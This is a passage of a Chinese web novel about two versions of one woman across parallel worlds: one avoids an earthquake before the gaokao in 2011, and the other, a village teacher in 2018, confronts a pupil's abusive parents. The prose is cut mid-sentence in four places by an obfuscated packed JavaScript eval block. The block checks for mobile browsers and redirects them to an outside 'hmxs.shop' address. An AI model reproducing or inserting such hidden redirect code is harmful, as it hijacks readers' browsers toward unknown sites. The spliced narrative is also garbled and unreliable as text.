文莉闻言大喜,说她正愁呢,真是帮了大忙。
两个女人商量了一阵,想了很多让小沛同意的理由,没想到田家希听说是曲源,一口答应下来,还让妈妈跟着一起去。
最终,文莉因为要忙店里的扫尾工作没能成行。
曲源县被当地人誉为清丰市的后花园,因为靠近省城,吃到很多政策红利,政府把曲源打造成绿树成荫、湖水环绕的旅游度假胜地,县城经济也因此盘活了。
黄欣苹的亲戚家住在县城中心,房子临湖而建,旖旎风光尽收眼底。
田家希坐在阳台上赏景,丝丝凉风吹来,将她心底的阴霾稍稍吹散了些。黄欣苹将刚削好的苹果递给她,“你现在应该把精力集中在高考上,别去想那些糟心的事儿。”
“干妈,你说我做的事是不是挺傻挺疯的?”
“谁年轻的时候不干几件疯事傻事呢?”黄欣苹笑,“我像你这年纪时也很任性,我妈常教育我,说女孩子就该有女孩的样子,小心长大嫁不出去!我们那年代的人循规蹈矩,盯别人的错恨不得多长一只眼睛,我做的那些事,换作现在看,算得了什么呢?”
田家希还没听过干妈讲她的过往,想起她过世的丈夫,不免多聊几句。
黄欣苹眼眺远方,面色如常,声音平静沉稳,回忆道,“他待我是真好,当时那么多人反对,说我不是适合结婚的女人,但他义无反顾选择我。婚后我被查出无法生育,他是家中独子,他爸妈自然不能接受,逼我俩离婚,他还是站在我这边……”
“只可惜他命短,得了病没救过来……”说到这儿,干妈哽咽了,没再往下说。
田家希眼皮微微颤着,内心被感动充盈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068848|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着,在她的记忆中,刘叔叔确实对干妈很疼爱,两人临近中年一直没有孩子,没少受闲言碎语。但干妈却毫不惧怕流言,常拿出两人一狗的全家福到处炫耀,别人见她这样,也没了说闲话的兴致。
“如果时光能倒流,或者你能穿越到刘叔叔去世前,你肯定会救他的,对吧?”
“当然会!”
“你对穿越这事,信吗?”
黄欣苹盯着她愣了两秒,然后哈哈大笑,“这种事我在电视里没少看,要是现实生活中有,那不就证明那个什么定律,成真了?”
田家希从干妈眼里感受到令人鼓舞的勇气,大着胆子问,“如果我说我从其他地方穿来的,你信吗?”
黄欣苹眨了眨眼,想了好一会才说,“你还别说,我这几天也在琢磨,你和以前还真有点不一样。特别是看人的眼神不太一样。”
田家希从干妈口里了解到她穿来前田小沛的一言一行,和自己七年前大差不差,不过没她那么疯,有些习惯也不太一样。
她确信她穿到了另一个世界。
黄欣苹张大了嘴,不可置信消化着令人震惊的信息,好半天才说,“这……这么说,要发生大地震这事是真的?”
田家希现在也拿不准了。
为什么会出现这样的偏差,是她接下来几天奋力去探索的事。
首先,她为什么没穿到同世界的七年前,而是另一个世界的七年前?
她拿出那本《时间简史》,想象着当时坐在办公室看书的情景。
那天放学后,她主动留下来加班,工作刚忙完,突然外面狂风暴雨,她打算等雨停了再回宿舍,于是打开了这本书,看了几页,就在她翻页时突然眼前出现一道刺眼的白光,接着她就失去意识。
她来到这世界后,就没见过另一个田小沛。这么说,她俩同时对穿?
她记得当时翻到“量子力学”这一章,于是再把这一章通读了一遍,也没理出头绪。
紧接着第二个问题,为什么5.29那天没发生地震?这个世界难道和原世界不一样?
她想起了谢家是在2010年底搬去清丰市,而在这个世界,谢家现在才着手搬家的事,也就是说事情肯定会发生,但会延后?
为了验证这个想法是否有现实依据支撑,田家希打开当地权威地震网查询日期。
在地震发生后的七年内,她不止一次点开地震网查看嘉宁县历年的地震时间、级别、救灾信息等,因此对较大级别的地震日期记得特别熟。
她一条条点开看,6月份之前的大小地震,几乎每次都会比原世界的晚1-6个月不等。
按照量子力学定律,平行世界是由某个宇宙分离出来,与原宇宙存在相似或不同的其他宇宙。这么说,这两个世界最大的不同,就是时间差,不仅差了七年,某些重要事件时间点也不一样。
田家希这么想着,心里的不安又加重了几分。
高考前一天,她做了个大胆的决定。
8. 溪水村 2018年
临近期末,老师们的工作更加繁重。
某晚,田小沛和禾苗加班到深夜,下了教学楼经过操场时,听到仓库方向传来铁锁落地的声音,紧接着发出铁门开启的沉闷声。
两人面面相觑。
仓库里有很重要的教学设备、器材,按照办公制度规定,想要进入,必须得有校长的批示。现在这么晚了,谁会在那儿?
田小沛拉着禾苗快步走过去,刚到门口,看见里面射出一道光,光线左右晃动了几次,突然停住了。
禾苗觑眼从门缝里看,微弱的光线映衬出一个熟悉又瘦小的身影,那身影拿着电筒往仓库深处照,浑然不觉门外有人偷窥。
禾苗心里一沉,难道是她?她看了眼往里窥探、一脸茫然的田小沛,她似乎还没认出是谁。
正要说话,只见田小沛毫不顾忌地拉开铁门大声阻止。
翠翠吓得一激灵,背包落地,散落出几包姨妈巾。
田小沛大步上前,借着手电筒的光线,打开塞得鼓鼓的书包一看,里面至少二十多包姨妈巾。
“你偷这么多姨妈巾干什么?”
翠翠心狂跳不已,小小的脸蛋顿时煞白,垂下头不肯说话。
禾苗目睹这一切,一副恨铁不成钢的样子问翠翠,“你上次怎么向田老师保证的?”
田小沛听她这么说,知道这孩子已经不是第一次偷了。翠翠是她班上的学生,想必上次田家希已经教育过她了。
“为什么还要偷?给我个理由!”
翠翠不言语。
小沛吓她,“你不说,只有见家长了。要不交给校长处理。”
翠翠闻言,忙跪地求饶。
就在这时,看守仓库的保安韩叔从厕所回来,慢悠悠往这边走。
听见脚步声的禾苗将翠翠推到仓库一侧的墙边,让她赶紧走,然后招呼田小沛一起将铁门关上上锁。
不明所以的小沛来不及询问,跟着照做了。
刚上完锁准备走时,被韩叔撞见了。韩叔见两位女老师在仓库门口,有些诧异。
禾苗笑说刚进了一批办公用品,下班了不放心过来看看。
韩叔让她们放心,他守的仓库不会有问题。
就在大人们说话的空隙,翠翠已顺着仓库墙根的杂草小路走到操场上,只要穿过操场就能出校门,她完全有时间逃跑,但她没有。
待到两位老师走近,她把背包里的姨妈巾全抖落出来交给田老师,哑着嗓子说,这是最后一次了,以后再也不会了。
禾苗见翠翠把处罚权交给田小沛,也不好插手管,毕竟上次翠翠偷姨妈巾是她发现的,也是她一手处理的,她又是她的班主任,她管更合适。
田小沛试探着问,“你上次也是这样说的吧,但这次依然照犯,你要我怎么信你?”
翠翠不语。
“你偷这么多,送人?卖?还是有人指使?”
“老师我真的不敢了。”翠翠带着求饶的哭腔。
“总有原因吧,你告诉我,到底为什么?”
翠翠不知该如何答,捂着脸跑开了。
田小沛觉得奇怪,问禾苗,“你不知道原因?”
禾苗诧异,“家希姐,上次是你处理的这事,我问你你还不说呢!”
小沛嘿嘿干笑两声,说最近事多,都忘了。
第二天是周末,田小沛一早到办公室,查了翠翠的学籍档案和田家希的工作笔记,并没找到她偷姨妈巾的处理记录。
翠翠成绩一直名列前茅,品学兼优,在班上人缘不错,性格温顺,小沛觉得这样的孩子在仓库偷东西肯定另有隐情。她决定以家访的名义去趟翠翠家。
翠翠妈此时正在喂鸡,看见班主任来,表情淡淡的,也不主动招呼。
田小沛开门见山,直接把昨晚撞见翠翠偷东西的事儿说了。
翠翠妈冷笑一声,反驳道,“东西呢?我没看见她拿东西回来呀。”
“这么说,她偷姨妈巾这事你知道?”
翠翠妈此时喂完鸡,关了鸡笼端着食盆从栅栏里走出来,一脸不耐烦,“你们发的她不够用,她脸皮薄又不好找你们要,就多拿了点,至于这么斤斤计较吗?再说,这东西是那个大富商捐的,又没用你一分钱,你心疼个啥!”
“她这行为就是偷!而且不是第一次了!你们当家长的不教育她,反而替她辩解,有这么当父母的?”
翠翠妈不屑的眼神将她上下扫一遍,不过是个乳臭未干的黄毛丫头,训人口气倒不小。她冷哼一声,心想老娘好歹是村里出了名的不好惹的主儿,难道还怕她不成!
她也不在意对方是女儿的班主任,并认定她敢找到家里来又当面训斥,肯定是知道了什么。竟然这样,那就不能怂!
“就是我让她拿的,你想咋的?”翠翠妈边说边向她逼近,气势嚣张,眼露凶光。“哼,我看你能把我怎样!”
不打自招啊!田小沛瞬间明白,为什么翠翠不肯说原因,原来背后推手是她妈。
田小沛也不是省油的灯,面对来势汹汹的她,丝毫不惧,“走,跟我去趟派出所,你唆使未成年人偷东西,该当何罪,我们去听听警察怎么说!”说着就上前拽她胳膊。
翠翠妈没想到瘦瘦的她力气还挺大,被她往前带了两步便卯足劲往后拽,拉扯间,手里的食盆落地,“咣当”一声,刺耳的声音将两人紧绷的神经拉长拉细,谁也压不住内心的愤怒,矛盾再次升级。
一直在屋里瑟瑟发抖的翠翠见妈妈和班主任扭打在一起,哭着冲出来劝解。
气急败坏的翠翠妈反手就是一巴掌,打得翠翠踉跄后退了两步,“这都是你干的好事,让一小姑娘上门训我!”
翠翠捂着脸,眼泪大滴大滴往下掉,恐惧自内而外迅速遍及全身,身体不可控地剧烈抖动,眼睛耷拉盯着地面,不敢看妈妈一眼。
田小沛怒了,“你打孩子算什么能耐!有种咱们派出所说去!”
翠翠扑通一声跪下了,苦苦哀求道,“田老师,都是我的错,我以后再也不敢了,你别抓我妈妈。”
田小沛赶紧过来扶翠翠,却被翠翠妈一脚赶了先。
翠妈指着女儿怒喝:“赶紧给老娘起来,别这么没骨气!”
翠翠趁此机会鼓足勇气说出一直不敢说的话,“妈,咱以后不拿姨妈巾了行不?再这样,我真没脸在学校待了。”
翠翠妈见孩子当着田小沛的面揭了自己底,刚才的威风顿时一扫而空,恼羞成怒的她狠狠地扇了女儿一巴掌,“是我让你拿的?你说清楚!”说着又去揪她耳朵,一整套打孩子的动作熟练迅速
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068849|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,田小沛都没反应过来。
翠翠疼得哇哇大叫,两边脸肿得跟猪头似的,惨不忍睹。
田小沛气急,操起栅栏边的木棍,毫不犹豫挥向翠翠妈后背。
翠翠妈“哎哟”一声,又惊又气,她真没想到教书育人的老师竟然如此粗暴!眼骨碌碌一转,顺势躺在地上装死。
翠翠吓坏了,扑在妈妈身上又喊又哭。
田小沛心想我打得也不狠呐,怎么就晕了?她上前察看一番,再摸了摸鼻息,放心了。对翠翠说,别哭了,你妈死不了。倒是你,被她打成这样,家里有药没有?
翠翠摸了摸青疼的脸,她都被打习惯了,并不在意。反之,她对田老师的这一棒相当害怕,一旦她妈醒来,她将会遭受更狠的毒打。但如果她什么都不做,一样逃不过她妈的魔掌。
“田老师,我们把妈妈送到卫生院去吧。”说着就要去拿推车。
田小沛一把捏住她瘦弱无力的胳膊,对躺在地上的翠妈幸灾乐祸,“哟,这日头越来越高了,地上的温度应该快50多度了吧,等你妈烫伤了再送去也不迟。”
翠翠妈自装死那一刻就后悔了,地上是真烫啊!但她憋足劲强忍着,就想逼田小沛给她道歉,顺带讹点钱,不枉她挨这一棍。
谁料到田小沛不仅无动于衷,还阻止女儿救自己,她怒火上涌,突然睁眼爬起来,指着田小沛吼,“我要去学校投诉你!”
没等到翠妈投诉,翠翠先失踪了。
得知这消息时是周日傍晚,彼时田小沛正和同事们在灶台边煮面,翠翠妈气势汹汹带着丈夫风风火火赶来要人。
翠妈说今早起床翠翠就不见踪影,他俩问遍了邻居都说没见着,“翠翠这孩子听话懂事,出门一定会告诉我们,肯定是你,把她藏起来了是不是?”翠妈指着小沛叫嚷,硬要她交出孩子。
田小沛才不信她说的鬼话,看她那张狂样儿,多半在耍什么伎俩。
双方争执了几句。禾苗把田小沛拉一边说,“翠翠这孩子敏感脆弱,昨天那么一闹,说不定真离家出走了。”见田小沛不信,她又说,“那晚在仓库我让她先走不让韩叔看见,就是顾及她的自尊啊!上次她偷东西,你悄悄处理不声张,不也是考虑到这一点么?”
小沛眨了眨眼,有点想不明白,难道是她的处理方式不对,导致翠翠出走?她想起翠翠跪地求饶的模样,明显是害怕妈妈又不敢忤逆……
啊!搞不好昨天她走后,那孩子受了她妈一顿教训被迫出走的!
想到这儿她浑身是气,调转身指着翠妈鼻子质问,“你!昨天是不是打了她?她委屈极了才跑的?”
“我没有。”翠妈见丈夫在跟前,也不似昨天那样撒泼了,突然示弱掩面哭起来,“你昨天给了我一棒,我哪还有力气……”
啊?在场围观的所有老师都呆住了。田老师居然打人?!
“你别给我扯这些有的没的,我昨天走她还好好的……”
田小沛话还没说完,同样凶悍的翠爸,已经抡起了胳膊,“你作为老师,没有教育学生的本事,还跑到我家来打我老婆孩子!妈的!老子今天就好好教育教育你。”说着,一条粗壮结实的胳膊卯足力气挥下来。
就在众人捂眼尖叫以为田小沛要完蛋的那一瞬,胳膊的主人发出一声惨叫。
9. 曲源县-清丰市 2011年
文莉赶到医院时,田家希已打完第二瓶点滴了。躺在病床上的她双眼紧闭,面颊微红,烧并没完全退。
守在床边的黄欣苹头枕着椅背,仰面朝天,嘴微微张着,发出轻微的鼾声。
文莉此时百感交集,今天高考啊,女儿却躺在病床上!看这情形,一时半会儿还好不了。昨天下午她接到黄欣苹电话说过会儿把小沛送回家,到了傍晚又接到电话说小沛有点不舒服,再后来,小沛被送进医院。
黄欣苹被文莉的动作惊醒,手捏着酸胀的后脖梗,面容有些扭曲,低声细语说,“昨晚烧到40度,吓死我了,医生说再晚一点,肺炎跑不掉。”
“怎么突然会这样?之前不是好好的?”
黄欣苹也觉得奇怪,昨天上午小沛还答应她准备收拾东西回家,中午吃饭时说下午想好好看看书,晚一点回去。黄欣苹想,也好,她刚好去趟商场和超市采购特产。等她到家敲开小沛房门时,只见她蜷缩在床上,浑身滚烫,意识不清,满嘴胡话,吓得她赶紧打了120。
当听说至少得住三天院时,文莉绝望地一屁股坐在黄欣苹端来的椅子上,怒气和怨气像无数根藤蔓交叉缠绕螺旋向上直往脑门攀,她嘴唇打着颤,抓住黄欣苹的手臂问,“你说她是不是故意的?”
早不病晚不病,刚好赶上高考这几天病,确实……不由得人胡思乱想。
黄欣苹刚想说话,又听她说,“之前我俩为填志愿的事闹得不愉快,你也知道。你说她是不是临时反悔,用这种方式对抗我?”
黄欣苹反驳,“我看未必。小沛之前因为派出所的事受到惊吓,这几天情绪一直不太好,肯定不是故意逃避高考,谁会拿自己前程开玩笑呢。”
文莉冷笑,略带讽刺说,“我还以为她换个环境能对高考有帮助,结果没想到直接躺医院了。”她虽然没有明指黄欣苹的不是,但黄欣苹听出这句话是在阴阳她。她心里也不痛快,却不想争辩,毕竟这事是她建议的,人也是在她这儿生的病。
田家希瞄准时机睁开眼,虚弱地看了眼板着脸的妈妈,“爸爸呢?”
“你爸在省城忙生意,管不了你。”文莉本来不想理她,看她可怜兮兮的模样一时心软,没好气说,“他要是知道你没去高考,定饶不了你!”
田家希心里踏实了。
“妈,干妈在这儿守了一晚上,你能来陪陪我吗?”
文莉一听更来气,“你知道你错过什么了?高考啊,高考!你都不急吗?”
“急有什么用。我病倒了,我也不想这样。”田家希深知妈妈的脾气,此时示弱装可怜是最佳对策。她重新闭上双眼,不想做无谓的争执。
文莉无奈,出去打了几个电话,回到病房见黄欣苹给女儿喂水,语气稍稍缓和了点,“我刚给你们班主任打了电话,说是医院能出具证明的话,可以申请补考。”
田家希心里一沉,说头晕得厉害,黄欣苹赶忙摸了摸额头,还是有点烫,她扶小沛睡下,对文莉说,孩子都烧成这样了,缓缓再说吧。
到了半夜,田家希感觉身子轻了些,头也不晕了,睁眼见母亲躺在侧边的折叠床上,皎洁的月光穿过窗户温柔地倾洒在母亲身上,她的身体被覆上一层淡淡的银光,如同天女下凡自带的光环。
视线伸及窗外的天空,几颗闪烁的星星拥抱着月亮,安稳且美好。
田家希眼睛湿润了,过去的七年里,她曾不止一次遥望夜空,幻想妈妈能变作仙女守护自己。可她在梦中看到的,是妈妈血迹斑斑的尸体被压在废墟之下,她每次都会被吓醒,每次都在泪水中迎来天亮。
田家希小心翼翼地下床,轻轻地蹲在床边,纤细的手臂微微颤抖伸向妈妈的肩膀,温热、柔软,触感真实,再也不是梦了,她激动得掉下泪来。
文莉被女儿弄醒,看着她满脸泪水,吓得坐起身,连问“怎么了”。
田家希说口渴想喝水,文莉立马下床给她倒了杯温水,又拿出体温计让她量烧。
田家希顺势握住妈妈的手,泪光盈盈注视着她,“妈,还记得小时候我生病,你也是在床边陪我到天亮吗?那时我身体虽然不舒服,但心里是暖的。我知道你一直都疼我,只是表达的方式和其他妈妈不一样罢了。”
文莉愣住了,她从没听女儿说过这样动情的话,倒有点难为情。
“妈,我真希望一直陪你到老,长长久久,永不分开。”家希张开双臂环抱住她的肩,眼泪吧嗒吧嗒往下掉。
文莉被她的情绪感染,眼中噙着泪,心想生病的人内心脆弱,她今天不该那么凶女儿,她带着一丝歉意紧紧搂着女儿,柔声道,“傻丫头,别胡思乱想,我会一直陪着你。”
“妈……”田家希闻言哭得不能自已。当一切梦境都变成现实时,会让人感觉幸福得不真实。她紧紧地搂着妈妈,害怕她会化作一缕烟无声无息飘走。
文莉不知所措,今天的女儿格外温柔黏人,让她收起了平日喜欢扎人的“刺”,心也跟着融化了。
“妈,我这段时间状态不太好,我想复读一年明年再考,专业听你的,好不好?”田家希知道补考地点仍在地震范围内,在不确定时间的情况下,她只有想尽一切办法躲开。
“是因为造谣地震那事?”
见女儿承认了,文莉在心里叹气,她这几天料理店里的事儿,没少听闲言碎语。小沛要是回到那样的环境,肯定也无法安心备考。借此机会换个学校复读倒也是个办法。
但她不甘心啊!!
直到第二天确认小沛这种情况无法参加补考,文莉死了心。
“以后不许提地震的事,也不准在外面胡说八道了哈!”文莉很无奈,却又不得不提醒不省心的女儿。
田家希知道妈妈应下了此事,压住内心喜悦很是认真地答应了。考虑到妈妈并不是能接受怪力神说的人,未免节外生枝,她决定暂时隐瞒真实身份。
接下来,便是黄欣苹“登台表演”的时候了。她按照田家希的安排,在田未出院前回了趟嘉宁县,把生活用品和值钱的家当打包搬家,并大张旗鼓地让邻里们知道她要去曲源县照顾干女儿。
文莉没有任何怀疑,上套了。她心里酸唧唧地想:我女儿生病你积极个什么劲儿!我这当亲妈的难道还不如你上心?她一边让丈夫赶紧在省城找房,一边火速回家整理家务让搬家公司将自个儿拉到曲源。
田家希和黄欣苹看她风尘仆仆赶来,相互递了个眼神,各自闷着笑。
黄欣苹做得一手好菜,没事儿就爱在厨房琢磨美食。这次趁田家希大病初愈,她大展身手,炖了一锅鲜美的白果鸡汤,做了最拿手的干豇豆烧排骨、油焖大虾、糖醋里脊,又炒了几个爽口小菜。
田家母女看着一桌色香味俱全的佳肴流口水。
黄欣苹的厨艺在街坊邻居有口皆碑,当初丈夫在世时,每到饭点,她家的菜香飘满整个楼道,一阵一阵的、绵延不绝地刺激大家的味蕾。
田小沛这时候就会将大门开个缝,看对门黄阿姨家吃啥好菜。有时黄欣苹关着门,她看不到,就去阳台上闻味儿。
有一次黄欣苹从门缝里看到对面一双乌黑圆溜的眼睛在自家饭桌上转来转去,觉得可爱极了,笑着招手让她过来吃,田小沛假装矜持地摇了摇头;
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068850|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黄欣苹再招手,田小沛不摇头了;再再招手,田小沛走到了门口,却始终不敢走出门半步。
黄欣苹端着糖醋里脊走到她家门口,酸甜的气味顿时侵袭小沛鼻腔,她渴望又谨慎地看着盘中的美食。
“来,拿去吃。”
小沛脆生生地说了句,“你先吃。”
黄欣苹噗哧一笑,觉得这孩子率直,聪明,不装。
那是她们第一次见面。
“怎么样?这味儿是你吃的那味儿吗?”黄欣苹用筷子指了指糖醋里脊,笑着问田家希。
田家希咬了一口,熟悉的味道将她带回七年前——那天中午,她偷溜出门被黄欣苹撞见,她像是知道她要出远门似的,将刚炸好的糖醋里脊打包塞进她书包里。她在车上吃完最后一块糖醋里脊时,嘉宁县发生了地震……
田家希泪珠唰一下掉下来,她忙背过身去擦干,剩下的半块里脊也不敢吃了。她在心里安慰自己:现在好了,重要的人都离开了那儿,能注意的都注意了,不会再有事儿了。
她将延续七年前戛然而止的生活。
一个月后,田伟在清丰市中心租了套两居室的电梯房,房子刚装完不久,装潢温馨漂亮,家具家电都是全新的。文莉看着比县城高级一万倍的新房,兴奋的同时也感叹:这房子要是我们的就好了。
“妈,我跟你保证,最多一年,我们也能在这地段买套属于自己的房子。”田家希挽着妈妈的手亲昵道。
文莉摸摸女儿额头,“你不会还在发烧吧?知道省城房子多贵吗?不比咱嘉宁。”
田家希笑,“最多三年,我们能在市郊买套花园洋房,你不是想有个带院子的房子吗?到时咱们就在院子里种满花花草草,再安个秋千,怎么样?”
文莉笑着对丈夫说,“你女儿志向比你大,口气也比你大,你敢这么说么?”
“这有啥不敢的!就三年,咱们买洋房!”田伟被女儿这么一说,像打了鸡血似的,觉得未来没有什么不可能。
当晚,谢家父子在酒店设宴邀请田伟一家,两家人互贺乔迁新居。
谢常德的新家在离田家三个街区的某知名开发商新建的楼盘里。他原本打算买套大房子撑撑面子。但他在市郊买了块地当仓库,又在市区CBD圈租下两三百平的办公室。装修、招工、货款等杂七杂八的钱一扣,还得预留一部分备用金,剩下的钱就只够买套三居室的精装房。
好在只有他和儿子两人住,而且能立马拎包入住,想了想也就不纠结了。
谢常德举杯朝向田伟,掷下豪气壮语,“咱俩好好干,争取三年内买别墅!”
文莉差点没呛着。
田家希很淡定,她知道他能办到。
此时清丰市房价虽然涨了一波,但还有很多价值洼地。市郊在建的几个不起眼的洋房、别墅楼盘,价格低得无人问津。但在未来七年内,随着城市发展重心转移及市内房价疯涨两波后,这地段将成为省城最顶级的富人区。后来的富商,即使手头有钱也是一房难求。
所以,田家想要致富,不止做生意一条路。
田家希此时信心十足,举杯祝爸爸和谢伯伯得偿所愿,喜得谢常德直夸还是生闺女好。
一直跷二郎腿刷手机将自己置身事外的谢精锐,在听到父亲夸小沛时,抬眸瞅了眼她,心里鄙夷地腹诽了句“财迷”。
谢常德看儿子一副事不关已的样子,有点不乐意,干咳了两声,让他也说两句吉祥话。
谢精锐挑衅地看了眼田家希,故意哪壶不开提哪壶,嘴角掩不住傲气,“我这次考得不错,体校铁定能上。”
10. 溪水村 2018年
谢京睿捏着翠翠爸的手腕反方向拧了90度弯,只用了六分力,就疼得翠爸连声求饶。
“还打不打了?”一道冷峻的男子声音从他头顶劈过来。
“不了不了。”翠爸扭过头去,见那年轻男人目光凌厉带着一股杀气,先是惊了一下,随后想:当着众人面被个毛都没长齐的小子拿捏,以后还要不要在村里混了?于是挥起左臂准备反击。
谢京睿眼疾手快,抓住他手腕一个流利的反转直接将他撂翻在地,臂力惊人。
翠爸脸贴在地上,听着女老师们对扳倒他的人发出一声声惊叹和赞美,感到既窝囊又生气。
翠妈见丈夫被撂倒,心里咽不下这口气,又掂量谢京睿身手不错不敢硬来,于是拿出泼妇特有的招数,弓着背大喊一声往谢京睿肚子上撞。
谢京睿迅疾闪开,翠妈扑了个空,直挺挺趴在地上摔了个狗吃屎。
田小沛忍不住哈哈大笑。
“发生了什么事?”谢京睿一脸嫌恶地拍了拍并没有沾上灰尘的衣服,看向田小沛的同时也在留意她有没有受伤。
田小沛将事情来龙去脉简单地说了一遍。
谢京睿指着地上狼狈不已的夫妻喝道,“以后谁要敢动田老师一根手指头,我将他腿打残!”
翠爸不服,挣扎起来还要和谢京睿一较高下,禾苗赶紧来解围,说现在最重要的事是找翠翠。
大家一致表示赞同。
禾苗问翠妈,“知道翠翠平时喜欢去哪儿吗?她一夜未归,是不是在周边亲戚家去了?”
翠妈坐在地上呜咽,“亲戚邻居都问了,都说不知道。我要是知道她在哪,能来找你们?”
禾苗想起翠翠有几个玩得要好的朋友,兴许从她们那里能得到信息,于是商量和田小沛一同前去。
谢京睿听说她们要去找人,立马开车带她们前往目的地。
剩下的老师也各自组队分头去找。
遗憾的是,他们并没问出翠翠的下落。
“这可怎么办?”眼见天快黑了,要再找不到翠翠,危险系数就大一分。
“要不报警吧?”
“好。”田小沛早就想把翠妈拉去派出所教育下,于是拨通了电话。
禾苗想了想问小沛,“上次翠翠偷姨妈巾,你没有追究责任,她就没透露什么吗?”
小沛反应迅速,反问禾苗,“你家在溪水村,对这里最熟悉,有没有什么地方适合藏人?”
禾苗想了半天,没有头绪。不过她判断,这么短的时间,翠翠走不出村里的绵延大山。
于是小沛让谢京睿绕着这几座大山的山脚走,从离溪水村最近的大山开始。
“你怎么确定她会躲进山里?”
“如果我离家出走,肯定是不希望别人找到我,那躲进山里最难找。”田小沛将自己代入翠翠,“山里有溪水有野果,一时半会饿不死。”
“但山里也很危险,有狼,有蛇,翠翠肯定怕。”禾苗说。
“那有没有一个相对安全又不缺吃食的地方呢?”田小沛的提问让禾苗瞬间打开思路,她猛地想起有个地方叫风吹岭。
风吹岭离溪水村不远,位于连绵大山中较为平坦的山脊处,周边植被茂盛,地势不高,利于攀爬,顶上有一块超大的平地,禾苗小时候常和伙伴们来这儿玩。
三人顺着山脊往上爬,果然在山腰处看到顶上闪烁着微微火光。
谢京睿手拿探照灯在前面领路,时不时回头看看跟在后面的两个女生。他原本担心田家希身体初愈体力不支,没想到她像头活力满满的小牛,一个劲儿往上冲。
到了山岭,只见翠翠双臂环抱着膝盖坐在火堆前发呆,见有人来,她吓了一跳刚想躲,却听见田老师的声音。
她很意外,她以为来找她的会是自己父母。
田小沛看她可怜巴巴坐在那儿,叹了口气,“你说你傻不傻,多大点事,至于离家出走吗?”
翠翠眼泪不自觉飙了出来,她忙背过身擦。
“偷……拿姨妈巾这事我已经知道了,不能全怪你。该受教育的是你妈,走,跟我回去。”田小沛想去拉翠翠胳膊,被她躲开了。
“你不会是要留在这儿过夜吧!”小沛在翠翠身边蹲下,碰了碰她肩膀,“听见没,有狼叫。”
三人竖起耳朵听了半天,只听见风吹树林哗哗声。
禾苗秒懂田小沛的意思,跟着瞎说,“确实有狼叫。”
谢京睿在旁添油加醋,“刚才我们上山看见这么大一条蟒蛇盘在那里,不知道它爬上来没有。”
翠翠一听,“呼”一声站起来,她最怕蛇了。但下一秒,她又坐下了,她也很害怕面对爸妈。
田小沛见她犹豫不决,急着帮她做决定,伸手去拉她胳膊,只听她“哎哟”一声,下意识将两只胳膊抱紧,坐在地上蜷缩成一团。
“你受伤了?”禾苗上前关心,见翠翠眼里闪着泪花,就知道她说对了。她想要查看伤口,但翠翠始终捂着,不愿示人。
“是你妈打你的,对吧?”
翠翠没有回答,但大家都明白了。
“行,不看就不看吧。你今晚总不能在这儿待着吧,走,跟我回宿舍。”小沛说这话时已经计划好了,等把翠翠“骗”下山,就直接往医院拉,她得留下证据让翠翠爸妈受教育。
车行至镇医院,已被两位老师说服的翠翠乖乖下车让医生处理伤口。
大家这时才看到她身上的伤——全身几乎没一块好皮,紫的红的,深的浅的,纵横交错,宛如一幅线条繁杂的抽象画。
最新的伤口在背上,医生说是鞭伤。
“妈的,这不是虐待孩子?”满身的伤让田小沛触目惊心,气愤不已,“不将他俩绳之以法我不姓田!”
禾苗被吓到了,神色讶异地看了她一眼。
走出治疗室,翠翠说想让田老师陪她上厕所。走到无人处,她再也憋不住泪,哀求田老师不要将此事闹大,她嘟囔道,“我回去跟他们道个歉。”
“你为什么要道歉?”小沛不解,“首先,拿姨妈巾这事是你妈唆使的……”
“田老师。”翠翠打断她,“上次我虽没明说,但我想你应该是猜到了,我感激你放过我,而且没揭穿。”
田小沛愣了一下,试着问,“是你妈妈让你拿的姨妈巾?”
翠翠点头。
小沛深吸了一口气,想了想,“但你也保证不再犯了,对不对?”
翠翠垂下头,低声说,“你知道我妈妈脾气,谁要让她不好过,她就不会让对方好过。这次,她的事被暴露了,我就受罚了。要是再闹出去,我肯定没法活了。”
小沛一听,这还得了!要这样忍下去,同样小命不保!
她试着开解翠翠,把利害关系讲给她听,并承诺她会保护她。
一行人到员工宿舍时,已是深夜了。
谢京睿叫住了田小沛,从后备箱取出两把立式风扇,说最近
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 